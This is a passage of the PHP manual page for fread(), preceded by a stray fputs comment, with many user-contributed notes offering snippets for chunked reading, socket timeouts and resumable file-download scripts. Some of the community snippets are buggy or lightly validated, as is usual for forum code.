Length is required if you are writing out a lot of data.  For instance, if you are base64 decoding an email attachment and writing it out to a file you have to specify the length if the file is over a certian size or else the binary data will be corrupt.

fputs($fp,$binary,strlen($binary));

Will yield the desired results.

When tested with a 1k the length wasn't required but with a larger file, around 27k it needs the length to work properly.


Binary-safe file read

  • « fputs
  • fscanf »
  • PHP Manual
  • Filesystem Functions
  • Binary-safe file read

fread

(PHP 4, PHP 5)

fread — Binary-safe file read

Description

string fread ( resource $handle , int $length )

fread() reads up to length bytes from the file pointer referenced by handle. Reading stops as soon as one of the following conditions is met:

  • length bytes have been read
  • EOF (end of file) is reached
  • a packet becomes available or the socket timeout occurs (for network streams)
  • if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the returned data may be larger than the chunk size.

Parameters

handle

A file system pointer resource that is typically created using fopen().

length

Up to length number of bytes read.

Return Values

Returns the read string or FALSE on failure.

Examples

Example #1 A simple fread() example

<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #2 Binary fread() example

Warning

On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter.

<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #3 Remote fread() examples

Warning

When reading from anything that is not a regular local file, such as streams returned when reading remote files or from popen() and fsockopen(), reading will stop after a packet is available. This means that you should collect the data together in chunks as shown in the examples below.

<?php
// For PHP 5 and up
$handle = fopen("http://www.example.com/", "rb");
$contents = stream_get_contents($handle);
fclose($handle);
?>
<?php
$handle = fopen("http://www.example.com/", "rb");
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
?>

Notes

Note:

If you just want to get the contents of a file into a string, use file_get_contents() as it has much better performance than the code above.

Note:

Note that fread() reads from the current position of the file pointer. Use ftell() to find the current position of the pointer and rewind() to rewind the pointer position.

See Also

  • fwrite() - Binary-safe file write
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fscanf() - Parses input from a file according to a format
  • file() - Reads entire file into an array
  • fpassthru() - Output all remaining data on a file pointer
  • ftell() - Returns the current position of the file read/write pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

john dot wellesz at teaser dot com 08-Jul-2014 05:52
Note that fread() will return '' (empty string) when a timeout occurs unlike socket_read() which returns false...
fread at imperium dot be 12-Feb-2014 02:13
My script was based on example 3b, but used up 100% CPU when a timeout occurred that wasn't "seen". This is very bad. So here's my code, hoping this will help people out there with the same problem. Obviously first use $rPage = fsockopen(...) and fwrite($rPage,...) and such, after which:

    $sPage    = ''; // the page goes in here
    $iTimeout    = 5; // set the timeout in seconds
    stream_set_timeout($rPage,$iTimeout);
    stream_set_blocking($rPage,0);
    $fTimeout    = microtime(true);
    do {
        if (($sRead = fread($rPage,8192))!==false and strlen($sRead)) {
            $sPage    .= $sRead; }
        else {
            usleep(10000); } // 0.01 second
        $aInfo    = stream_get_meta_data($rPage); }
    while (!feof($rPage) and !$aInfo['timed_out'] and microtime(true)-$fTimeout<$iTimeout);
    fclose($rPage);
    // now simply decompress and unchunk $sPage, if need be

Above code will make sure the timeout is used, because this isn't always detected properly. In addition, the usleep() will keep the CPU in check.
dharmilshah at gmail dot com 13-Dec-2013 08:59
For anyone still trying to write an effective file downloader function/script, the work has been done for you in all the major servers including Apache & nginx.

Using the X-Sendfile header, you can do the following:

if ($user->isLoggedIn())
{
    header("X-Sendfile: $path_to_somefile_private");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$somefile\"");
}

Apache will serve the file for you while NOT revealing your private file path! Pretty nice. This works on all browsers/download managers and saves a lot of resources.

Documentation:
Apache module: https://tn123.org/mod_xsendfile/
Nginx: http://wiki.nginx.org/XSendfile
Lighttpd: http://blog.lighttpd.net/articles/2006/07/02/x-sendfile/

Hopefully this will save you many hours of work.
webmaster at lucabanfi dot it 10-Dec-2013 07:34
//download data File
$handle = fopen("$url_here", "rb");
$contents = '';
while (!feof($handle)) {
     $contents .=fread($handle, 8192);
}

fclose($handle);

//write file on disk
$fp = fopen("$filename_here.ext", "wb");
fwrite($fp, $contents);
fclose($fp);
box dot afzar at gmail dot com 31-Jan-2013 07:00
I write this script for download with resume suport
<?php
// If user click the download link
if(isset($_GET['filename'])){
        // The directory of downloadable files
        // This directory should be unaccessible from web
        $file_dir="/tmp/";

        // Replace the slash and backslash character with empty string
        // The slash and backslash character can be dangerous
        $file_name=str_replace("/", "", $_GET['filename']);
        $file_name=str_replace("\\", "", $file_name);

        // If the requested file is exist
        if(file_exists($file_dir.$file_name)){
                // Get the file size
                $file_size=filesize($file_dir.$file_name);
                // Open the file
                $fh=fopen($file_dir.$file_name, "r");

                // Download speed in KB/s
                $speed=5;

                // Initialize the range of bytes to be transferred
                $start=0;
                $end=$file_size-1;

                // Check HTTP_RANGE variable
                if(isset($_SERVER['HTTP_RANGE']) &&
                        preg_match('/^bytes=(\d+)-(\d*)/', $_SERVER['HTTP_RANGE'], $arr)){

                        // Starting byte
                        $start=$arr[1];
                        if($arr[2]){
                                // Ending byte
                                $end=$arr[2];
                        }
                }

                // Check if starting and ending byte is valid
                if($start>$end || $start>=$file_size){
                        header("HTTP/1.1 416 Requested Range Not Satisfiable");
                        header("Content-Length: 0");
                }
                else{
                        // For the first time download
                        if($start==0 && $end==$file_size){
                                // Send HTTP OK header
                                header("HTTP/1.1 200 OK");
                        }
                        else{
                                // For resume download
                                // Send Partial Content header
                                header("HTTP/1.1 206 Partial Content");
                                // Send Content-Range header
                                header("Content-Range: bytes ".$start."-".$end."/".$file_size);
                        }

                        // Bytes left
                        $left=$end-$start+1;

}
?>
<html>
<head>
        <title>Home</title>
</head>
<body>
        <a href="index.php?filename=file.pdf">Download</a>
</body>
</html>
andrej dot frelih at gmail dot com 27-Dec-2011 01:35
Another sample function that supports from/to range requests:

<?php
function download_file($file_name) {

    if (!file_exists($file_name)) { die("<b>404 File not found!</b>"); }

    $file_extension = strtolower(substr(strrchr($file_name,"."),1));
    $file_size = filesize($file_name);
    $md5_sum = md5_file($file_name);

   //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension) {
        case "exe": $ctype="application/octet-stream"; break;
        case "zip": $ctype="application/zip"; break;
        case "mp3": $ctype="audio/mpeg"; break;
        case "mpg":$ctype="video/mpeg"; break;
        case "avi": $ctype="video/x-msvideo"; break;

        //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
        case "php":
        case "htm":
        case "html":
        case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

        default: $ctype="application/force-download";
    }

    if (isset($_SERVER['HTTP_RANGE'])) {
        $partial_content = true;
        $range = explode("-", $_SERVER['HTTP_RANGE']);
        $offset = intval($range[0]);
        $length = intval($range[1]) - $offset;
    }
    else {
        $partial_content = false;
        $offset = 0;
        $length = $file_size;
    }

    //read the data from the file
    $handle = fopen($file_name, 'r');
    $buffer = '';
    fseek($handle, $offset);
    $buffer = fread($handle, $length);
    $md5_sum = md5($buffer);
    if ($partial_content) $data_size = intval($range[1]) - intval($range[0]);
    else $data_size = $file_size;
    fclose($handle);

    // send the headers and data
    header("Content-Length: " . $data_size);
    header("Content-md5: " . $md5_sum);
    header("Accept-Ranges: bytes");
    if ($partial_content) header('Content-Range: bytes ' . $offset . '-' . ($offset + $length) . '/' . $file_size);
    header("Connection: close");
    header("Content-type: " . $ctype);
    header('Content-Disposition: attachment; filename=' . $file_name);
    echo $buffer;
    flush();
}
?>
randym 20-Aug-2011 07:45
Concerning [problems with UTF-8 and] downloading Zip files I found that simply adding 3 lines of code before starting the fread to the buffer for delivery in all browsers solved the problem.

<?php
    ob_end_clean();
    ob_start();
    header( 'Content-Type:' );
?>

... see where placed in the function below:

<?php
function readfile_chunked( $filename, $retbytes = true ) {
    $chunksize = 1 * (1024 * 1024); // how many bytes per chunk
    $buffer = '';
    $cnt = 0;
    $handle = fopen( $filename, 'rb' );
    if ( $handle === false ) {
        return false;
    }
    ob_end_clean(); //added to fix ZIP file corruption
    ob_start(); //added to fix ZIP file corruption
    header( 'Content-Type:' ); //added to fix ZIP file corruption
    while ( !feof( $handle ) ) {
        $buffer = fread( $handle, $chunksize );
        //$buffer = str_replace("ï»¿","",$buffer);
        echo $buffer;
        ob_flush();
        flush();
        if ( $retbytes ) {
            $cnt += strlen( $buffer );
        }
    }
    $status = fclose( $handle );
    if ( $retbytes && $status ) {
        return $cnt; // return num. bytes delivered like readfile() does.
    }
    return $status;
}
?>
Anonymous 18-Mar-2011 02:59
If you serve a file download over PHP with fread and print/echo and experience corrupted binary files, chances are the server still uses magic quotes and escapes the null bytes in your file. Although from 5.3.0 magic quotes are no longer supported, you might still encounter this problem. Try to turn them off by placing this code before using fread:

<?php
@ini_set('magic_quotes_runtime', 0);
?>
ricardsss at gmail dot com 04-Jan-2011 07:13
Simple userlist script that reads content from a file and prints it back.

<?php

    $file = "users.txt";
    $handle = fopen($file, "a+");

    if(!filesize($file)>0) {
        echo "File is empty!";
    }
    else {
        $fcontent = fread($handle, filesize($file));
        echoUsers();
    }

    fclose($handle);

    function echoUsers() {
        global $fcontent;
        $users = explode(" ", $fcontent);

        foreach($users as $user) {
            echo $user."<br />";
        }
    }

?>
Anonymous 01-Oct-2010 03:25
Stream editor on php

#/bin/php
<?php
if (ftell(STDIN) !== 0) {
    fwrite(STDERR, "Pipe error\n");
    exit(1);
}
$input = '';
while (true) {
    $input = trim(fread(STDIN,10240));
    if (feof(STDIN)) break;
    if ($input === false || strlen($input) === 0) {
        continue;
    }
    // replase '<br />' to 'newline'
    $input = preg_replace('/<br\s*\/>/', "\n\t", $input);
    fwrite(STDOUT, $input . "\n");
}
?>

Example:
cat some.html | this_script.php | grep something

Keyword list: pipe, tail, grep, sed
NOopensourceSPAM at prodigy7 dot de 21-Sep-2010 03:45
Somehow all code samples for downloads, described here, doesn't work right for me.
When I download a big file readfile or fread in b mode, the final file hasn't the same md5 like the originial.

Some tests helps me, finding a solution:

<?php
            $fp = fopen($DownloadFile, 'rb');
            while ( $cline = fgets($fp) )
            {
                print $cline;
            }
            fclose($fp);
?>

Somehow, it's "binary safe" and deliver that file which are read. md5 original and download are the same.
david at identd dot dyndns dot org 05-May-2010 03:27
Note to IIS admins:

When using PHP via the FastCGI ISAPI extension, there is a script timeout of approximately 1hr that cannot be adjusted. When using PHP via CGI, there is a script timeout that is based upon the value of the CGITimeout configuration option. This value must be set extremely high if you plan to serve large files. An explanation of how to configure this option can be found here: http://www.iisadmin.co.uk/?p=7 If you do not modify this setting you can expect the above scripts to fail silently once it has hit the default value (30 minutes in my case).
Tblue 02-Jan-2010 02:29
Note that fread() returns an empty string if you try to read beyond EOF, while the manual states otherwise ("Returns [...] FALSE on failure."). This e. g. happens with empty files (0 bytes long).

This does not look like a bug in PHP's fread() implementation to me, but rather like a documentation bug. The manpage for the C function fread() states:
> fread() does not distinguish between end-of-file and error, and callers must use feof(3) and ferror(3) to determine which occurred.
It also says:
> If an error occurs, or the end-of-file is reached, the return value is a short item count (or zero).

That means that in the case of empty files, C's fread() returns 0 and thus we get an empty PHP string: PHP's fread() does not seem to check for errors as the manpage recommends; that's fine, the PHP programmer has to do it, but it would be nice if this behaviour would be explicitly documented.

In short: When using fread(), you have to check for FALSE and empty strings. Consider the following wrapper function:
<?php
function my_fread( $handle, $length )
{
  if( ( $ret = fread( $handle, $length ) ) === '' )
  {
    return false;
  }

  return $ret;
}
?>
edgarinvillegas at hotmail dot com 30-Aug-2009 09:16
I had a fread script that hanged forever (from php manual):

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {  //This looped forever
        $content .= fread($fp, 1024);
    }
    fclose($fp);
    echo $content;
}
?>

The problem is that sometimes end of streaming is not marked by EOF nor a fixed mark, that's why this looped forever. This caused me a lot of headaches...
I solved it using the stream_get_meta_data function and a break statement as the following shows:

<?php
$fp = fsockopen("example.host.com", 80);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Data sent by socket");
    $content = "";
    while (!feof($fp)) {
        $content .= fread($fp, 1024);
        $stream_meta_data = stream_get_meta_data($fp); //Added line
         if($stream_meta_data['unread_bytes'] <= 0) break; //Added line
    }
    fclose($fp);
    echo $content;
}
?>

Hope this will save a lot of headaches to someone.

(Greetings, from La Paz-Bolivia)
James Ranson 14-Jan-2009 01:20
Tom, the idea for the examples below is to ensure the user has proper credentials before serving the file. With that security in mind, the suggestion of a 302 redirection seems like a risky idea. Anyone with a modicum of networking experience can run a TCP trace and see the 302 Redirect response, as it is actually a response received by the client browser; the browser then makes a subsequent http request for the URL provided in the Location header.  When that 302 response is captured by wireshark, the 'secret' location is then exposed and can be shared with anyone who wishes to bypass the authorization routines in the php.

The only way to secure this would be for the 302 Redirection response to include some kind of unique, per-request, expiring authorization token, either on the end of the url or in a set-cookie, that is then checked by an authorization module implemented within the hosting webserver. Otherwise, you're relegated to the methods described below.
tom 29-Oct-2008 05:11
Various scripts suggested here attempt to deliver a file for download to a client. Handling http protocol features such as HTTP_RANGE is not trivial; neither is handling flow control with the server, memory and time limits when the files are large.

An alternative is to let the web server can handle http by redirecting to the file in question. It's not uncommon e.g. http://www.apple.com/downloads/macosx/ does this.

A PHP script can do any checks needed (security, authentication, validate the file) and any other tasks before calling header("Location $urltofile");

I tested this with apache. Interrupt/resume download works. The server's mime type configuration will determine client behavior. For apache, if defaults in mime.types are not suitable, configuration directives for mod_mime could go in a .htaccess file in the directory of the file to download. If really necessary, these could even by written by the PHP script before it redirects.
Anonymous 27-Oct-2008 01:50
This code is buggy
<?php
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
?>
When you read a file whose size is a multiple of the readsize (8192 here), then the loop is executed when there are no more data to read. Here, the result of fread() is not checked, and so the instruction
<?php
$contents .= fread($handle, 8192)
?>
is executed once with no data from fread(). In this very case, it is not important, but in some situation it could be harmful.

The good way to read a file block by block is :
<?php
while ( ($buf=fread( $handle, 8192 )) != '' ) {
    // Here, $buf is guaranted to contain data
    $contents .= $buf;
}
if($buf===FALSE) {
    echo "THERE WAS AN ERROR READING\n";
}
?>
Anonymous 18-Sep-2008 03:46
It might be worth noting that if your site uses a front controller with sessions and you send a large file to a user; you should end the session just before sending the file, otherwise the user will not be able to continue continue browsing the site while the file is downloading.
Edward Jaramilla 28-Jun-2008 08:45
I couldn't get some of the previous resume scripts to work with Free Download Manager or Firefox.  I did some clean up and modified the code a little.

Changes:
1. Added a Flag to specify if you want download to be resumable or not
2. Some error checking and data cleanup for invalid/multiple ranges based on http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
3. Always calculate a $seek_end even though the range specification says it could be empty... eg: bytes 500-/1234
4. Removed some Cache headers that didn't seem to be needed. (add back if you have problems)
5. Only send partial content header if downloading a piece of the file (IE workaround)

<?php

function dl_file_resumable($file, $is_resume=TRUE)
{
    //First, see if the file exists
    if (!is_file($file))
    {
        die("<b>404 File not found!</b>");
    }

    //Gather relevent info about file
    $size = filesize($file);
    $fileinfo = pathinfo($file);

    //workaround for IE filename bug with multiple periods / multiple dots in filename
    //that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $filename = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE')) ?
                  preg_replace('/\./', '%2e', $fileinfo['basename'], substr_count($fileinfo['basename'], '.') - 1) :
                  $fileinfo['basename'];

    $file_extension = strtolower($path_info['extension']);

    //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension)
    {
        case 'exe': $ctype='application/octet-stream'; break;
        case 'zip': $ctype='application/zip'; break;
        case 'mp3': $ctype='audio/mpeg'; break;
        case 'mpg': $ctype='video/mpeg'; break;
        case 'avi': $ctype='video/x-msvideo'; break;
        default:    $ctype='application/force-download';
    }

    //check if http_range is sent by browser (or download manager)
    if($is_resume && isset($_SERVER['HTTP_RANGE']))
    {
        list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);

        if ($size_unit == 'bytes')
        {
            //multiple ranges could be specified at the same time, but for simplicity only serve the first range
            //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
            list($range, $extra_ranges) = explode(',', $range_orig, 2);
        }
        else
        {
            $range = '';
        }
    }
    else
    {
        $range = '';
    }

    //figure out download piece from range (if set)
    list($seek_start, $seek_end) = explode('-', $range, 2);

    //set start and end based on range (if set), else set defaults
    //also check for invalid ranges.
    $seek_end = (empty($seek_end)) ? ($size - 1) : min(abs(intval($seek_end)),($size - 1));
    $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);

    //add headers if resumable
    if ($is_resume)
    {
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
        }

        header('Accept-Ranges: bytes');
        header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$size);
    }

    //headers for IE Bugs (is this necessary?)
    //header("Cache-Control: cache, must-revalidate");
    //header("Pragma: public");

    header('Content-Type: ' . $ctype);
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Content-Length: '.($seek_end - $seek_start + 1));

    //open the file
    $fp = fopen($file, 'rb');
    //seek to start of missing part
    fseek($fp, $seek_start);

    //start buffered download
    while(!feof($fp))
    {
        //reset time limit for big files
        set_time_limit(0);
        print(fread($fp, 1024*8));
        flush();
        ob_flush();
    }

    fclose($fp);
    exit;
}

?>
mail at 3v1n0 dot net 29-Apr-2008 12:32
This is an hack I've done to download remote files with HTTP resume support. This is useful if you want to write a download script that fetches files remotely and then sends them to the user, adding support to download managers (I tested it on wget). To do that you should also use a "remote_filesize" function that you can easily write/find.

<?php
function readfile_chunked_remote($filename, $seek = 0, $retbytes = true, $timeout = 3) {
    set_time_limit(0);
    $defaultchunksize = 1024*1024;
    $chunksize = $defaultchunksize;
    $buffer = '';
    $cnt = 0;
    $remotereadfile = false;

    if (preg_match('/[a-zA-Z]+:\/\//', $filename))
        $remotereadfile = true;

    $handle = @fopen($filename, 'rb');

    if ($handle === false) {
        return false;
    }

    stream_set_timeout($handle, $timeout);

    if ($seek != 0 && !$remotereadfile)
        fseek($handle, $seek);

    while (!feof($handle)) {

        if ($remotereadfile && $seek != 0 && $cnt+$chunksize > $seek)
            $chunksize = $seek-$cnt;
        else
            $chunksize = $defaultchunksize;

        $buffer = @fread($handle, $chunksize);

        if ($retbytes || ($remotereadfile && $seek != 0)) {
            $cnt += strlen($buffer);
        }

        if (!$remotereadfile || ($remotereadfile && $cnt > $seek))
            echo $buffer;

        ob_flush();
        flush();
    }

    $info = stream_get_meta_data($handle);

    $status = fclose($handle);

    if ($info['timed_out'])
        return false;

    if ($retbytes && $status) {
        return $cnt;
    }

    return $status;
}
?>
shocker at shockingsoft dot com 12-Apr-2008 03:22
If you read from a socket connection or any other stream that may delay when responsing but you want to set a timeout you can use stream_set_timeout():

<?php
$f = fsockopen("127.0.0.1", 123);
if ($f)
 {
  fwrite($f, "hello");
  stream_set_timeout($f, 5); //5 seconds read timeout
  if (!fread($f, 5)) echo "Error while reading";
    else echo "Read ok";
  fclose($f);
 }
?>
matt at matt-darby dot com 10-Oct-2007 07:32
I thought I had an issue where fread() would fail on files > 30M in size. I tried a file_get_contents() method with the same results. The issue was not reading the file, but echoing its data back to the browser.

Basically, you need to split up the filedata into manageable chunks before firing it off to the browser:

<?php

$total     = filesize($filepath);
$blocksize = (2 << 20); //2M chunks
$sent      = 0;
$handle    = fopen($filepath, "r");

// Push headers that tell what kind of file is coming down the pike
header('Content-type: '.$content_type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.$filesize * 1024);

// Now we need to loop through the file and echo out chunks of file data
// Dumping the whole file fails at > 30M!
while($sent < $total){
    echo fread($handle, $blocksize);
    $sent += $blocksize;
}

exit(0);

?>

Hope this helps someone!
Blagovest Buyukliev 03-Sep-2007 01:45
Having tried to reliably transfer large amounts of binary data over a latent network, I found out that fread()/fwrite() should never be trusted to read/write the whole block with the exact length specified, even in blocking mode, even for small block lengths.

I came up with these two functions, fully-replaceable and reliable alternatives of fread()/fwrite() in a socket context:

<?php

function fullwrite ($sd, $buf) {
  $total = 0;
  $len = strlen($buf);

  while ($total < $len && ($written = fwrite($sd, $buf))) {
    $total += $written;
    $buf = substr($buf, $written);
  }

  return $total;
}

function fullread ($sd, $len) {
  $ret = '';
  $read = 0;

  while ($read < $len && ($buf = fread($sd, $len - $read))) {
    $read += strlen($buf);
    $ret .= $buf;
  }

  return $ret;
}

?>

The functions are "greedy", i.e. trying to read/write as much data as possible at once. If the call to fread()/fwrite() reads/writes less than expected, then the next iteration eats up the remainder. Very smart as only the largest possible chunks are read/written.

Only in case of a broken pipe fullread()/fullwrite() return less than the specified length. Otherwise it is guaranteed that upon termination

strlen(fullread($sd, $len)) == $len

and

fullwrite($sd, $buf) == strlen($buf)

Works perfectly with a socket descriptor returned from stream_socket_client() or fsockopen().

Greetings from Rousse, Bulgaria.
kai at froghh dot de 10-May-2007 04:52
reading from a socket stream can be different to the
behaviour expected, since you have not set
stream_set_blocking to 1.
sample source:
<?php
$fp = fsockopen ($server, $port, $errno, $errstr, $socket_timeout);
$header = '';
do {
    $header.=fread($fp,1);
    $i++;
} while (!preg_match('/\\r\\n\\r\\n$/', $header) && $i < $maxheaderlenth);
preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/', $header,$matches);
$buffer = fread($this->_fp, $matches[1]);
?>

if i.e. the content length is 50000 and the responding server is to slow
(means 50000 are not completely sent when fread is called)
you'll only receive the number of bytes sent by the
responding server at the time fread is called.

fread will not wait for any data to complete the given size.
as described in user notes on stream_set_blocking there
seems to be a bug using stream_set_blocking.
a workaround - well, not the best way - is to read
the response split to 1 byte
instead of
<?php $buffer = fread($this->_fp, $matches[1]); ?>

you'd write
<?php
$buffer = '';
for($i = 0; $i < $matches[1]; $i++){
    $buffer .= fread($this->_fp, 1);
}
?>

it several tests this seems like it works.
aubfre at hotmail dot com 28-Mar-2007 06:20
Changing the value of $length may yield to different download speeds when serving a file from a script.

I was not able to max out my 10mbps connection when 4096 was used. I found out that using 16384 would use all the available bandwidth.

When outputing binary data with fread, do not assume that 4096 or 8192 is the optimal value for you. Do some benchmarks by downloading files through your script.
yellow1912 at yahoo dot com 01-Feb-2006 08:46
I tried to use the download resume script below, but it put extreme load on the server for just 1 download only (the file is around 200MB).

Be carefull when you test the script on your server. I'll fgets, or other functions and see if it works.
adamgamble at gmail dot com 21-Sep-2005 05:00
<?php
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

    $gaddress = "http://maps.google.com?q=" . urlencode($address);

    $handle = fopen($gaddress, "r");
    $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
?>
Richard Dale richard at premiumdata dot n dot e dot t 01-Jul-2005 06:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?php
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
    # workaround for IE filename bug with multiple periods / multiple dots in filename
    # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
    $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
    header("Content-Disposition: attachment; filename=$iefilename" );
} else {
    header("Content-Disposition: attachment; filename=$filename");
}
?>
james at reflexive dot net 19-Apr-2005 08:34
Several of these examples use a Content-Disposition header to force the browser to save a file but then they specify the file name without quotes. This will cause problems for some browsers (Mozilla Fire Fox) if the file name contains a space.  You must put quotes around the name if you want to work reliably for all files in all browsers.
<?php
header ("Content-Disposition: attachment; filename=$theFileName"); // bad

header ("Content-Disposition: attachment; filename=\"$theFileName\""); // good

?>
planetiss at gmail dot com 08-Apr-2005 02:38
For download the big files (more than 8MB), you must used ob_flush() because the function flush empty the Apache memory and not PHP memory.
And the max size of PHP memory is 8MB, but ob_flush is able to empty the PHP memory.

<?php
header('Content-Type: application/force-download');
header ("Content-Length: " . filesize($file));
header ("Content-Disposition: attachment; filename=$theFileName");

   $fd = fopen($file, "r");
   while(!feof($fd))
  {
       echo fread($fd, 4096);
       ob_flush();

   }
?>
mrhappy[at]dotgeek.org 08-Apr-2005 04:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
dvsoftware at gmail dot com 13-Mar-2005 09:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com 05-Mar-2005 11:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?php
  $dp = "http://www.example.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
    {
      echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
      exit();
    }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?php
  $dp = "http://www.example.com/filename.php";
  if (!$dp)
    {
      echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
      exit();
    }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk 16-Jan-2005 09:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
